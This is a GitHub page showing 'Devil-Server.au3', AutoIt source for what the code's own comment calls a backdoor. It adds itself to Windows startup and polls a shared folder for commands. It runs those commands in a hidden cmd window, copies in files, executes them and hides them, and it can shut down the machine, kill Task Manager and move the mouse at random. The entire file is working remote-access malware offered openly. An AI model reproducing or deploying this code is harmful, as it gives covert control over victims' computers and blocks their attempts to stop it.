-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathDevil-Server.au3
135 lines (111 loc) · 3.95 KB
/
Devil-Server.au3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#cs ----------------------------------------------------------------------------
Devil Server
AutoIt Version: 3.3.14.5
Version: Release ( 22:38 25.11.2018 )
#ce ----------------------------------------------------------------------------
#NoTrayIcon
#include <Misc.au3>
#include <WinAPIFiles.au3>
#include <FileConstants.au3>
#include <MsgBoxConstants.au3>
; The program will not start twice
_Singleton("devil_check_server", 0)
; Read config file
Global $Config_ClientID = IniRead("config.ini", "Config", "ClientID", "defective_client")
Global $Config_ServerPatch = IniRead("config.ini", "Config", "ServerPatch", "C:\")
Global $Config_ControlPanelPatch = IniRead("config.ini", "Config", "ControlPanelPatch", "Devil-ControlPanel.exe")
Global $Config_AddToStartup = IniRead("config.ini", "Config", "AddToStartup", "False")
Global $Config_Speed = IniRead("config.ini", "Config", "Speed", "10")
; Variables
Global $ServerData = ""
Global $Status_CrazyMouse = "False"
Global $Status_BlockTaskManager = "False"
; Hotkey to start Control Panel
HotKeySet("{PAUSE}", "RunControlPanel")
; ------------------------------------------------------------------------------
; Add backdoor to start-up
If $Config_AddToStartup = "True" Then
If Not FileExists(@StartupDir & "\devil_server.lnk") Then
FileCreateShortcut(@ScriptFullPath, @StartupDir & "\devil_server.lnk", @ScriptDir, "", "devil_server")
Sleep($Config_Speed + 300)
If FileExists(@StartupDir & "\devil_server.lnk") Then
MsgBox($MB_OK, "Devil Server", "Devil Server added to start-up!")
Else
MsgBox($MB_OK, "Devil Server", "Devil Server can not add self to the start-up! Try again!")
EndIf
EndIf
EndIf
; ------------------------------------------------------------------------------
; Main Loop
While True
Sleep($Config_Speed + 1)
$ServerData = ReadServer()
; Definition and execution of the received command
If $ServerData[0] = "execute_command" Then
CMDExecute($ServerData[1])
ElseIf $ServerData[0] = "show_message" Then
ShowMessageBox($ServerData[1])
ElseIf $ServerData[0] = "load_file" Then
LoadFile($ServerData[1])
ElseIf $ServerData[0] = "shutdown" Then
SystemShutdown()
ElseIf $ServerData[0] = "block_task_manager" Then
$Status_BlockTaskManager = $ServerData[1]
ElseIf $ServerData[0] = "crazy_mouse" Then
$Status_CrazyMouse = $ServerData[1]
EndIf
; Same for crazy mouse and task manager blocker
If $Status_BlockTaskManager = "True" Then
BlockTaskManager()
EndIf
If $Status_CrazyMouse = "True" Then
CrazyMouse()
EndIf
WEnd
; ------------------------------------------------------------------------------
; Get data from the shared folder
Func ReadServer()
; Read data from server
If FileExists($Config_ServerPatch & "\" & $Config_ClientID) Then
Local $Data[2]
$Data[0] = IniRead($Config_ServerPatch & "\" & $Config_ClientID, "Data", "Type", "")
$Data[1] = IniRead($Config_ServerPatch & "\" & $Config_ClientID, "Data", "Command", "")
FileDelete($Config_ServerPatch & "\" & $Config_ClientID)
Return $Data
Else
Local $Data = ["", ""]
Return $Data
EndIf
EndFunc
; Upload and run file
Func LoadFile($File_name)
Sleep($Config_Speed + 500) ; Some delay for file loading
FileCopy($Config_ServerPatch & "\" & $File_name, @ScriptDir, 1)
FileDelete($Config_ServerPatch & "\" & $File_name)
ShellExecute($File_name) ; Launch the file
FileSetAttrib($File_name, "+H") ; Hide the file!
EndFunc
; Execute to CMD
Func CMDExecute($Command)
Run(@ComSpec & " /c " & $Command, "", @SW_HIDE)
EndFunc
; Show message
Func ShowMessageBox($Text)
MsgBox($MB_OK, "Message", $Text, 10)
EndFunc
; Shutdown system
Func SystemShutdown()
Shutdown($SD_SHUTDOWN)
EndFunc
; Block task manager
Func BlockTaskManager()
If ProcessExists("taskmgr.exe") Then ProcessClose("taskmgr.exe")
EndFunc
; Сrazy mouse
Func CrazyMouse()
MouseMove(Random(0, @DesktopWidth), Random(0, @DesktopHeight), 3) ; Move mouse to random position
EndFunc
; Run Control Panel using hotkeys
Func RunControlPanel()
Run($Config_ControlPanelPatch)
EndFunc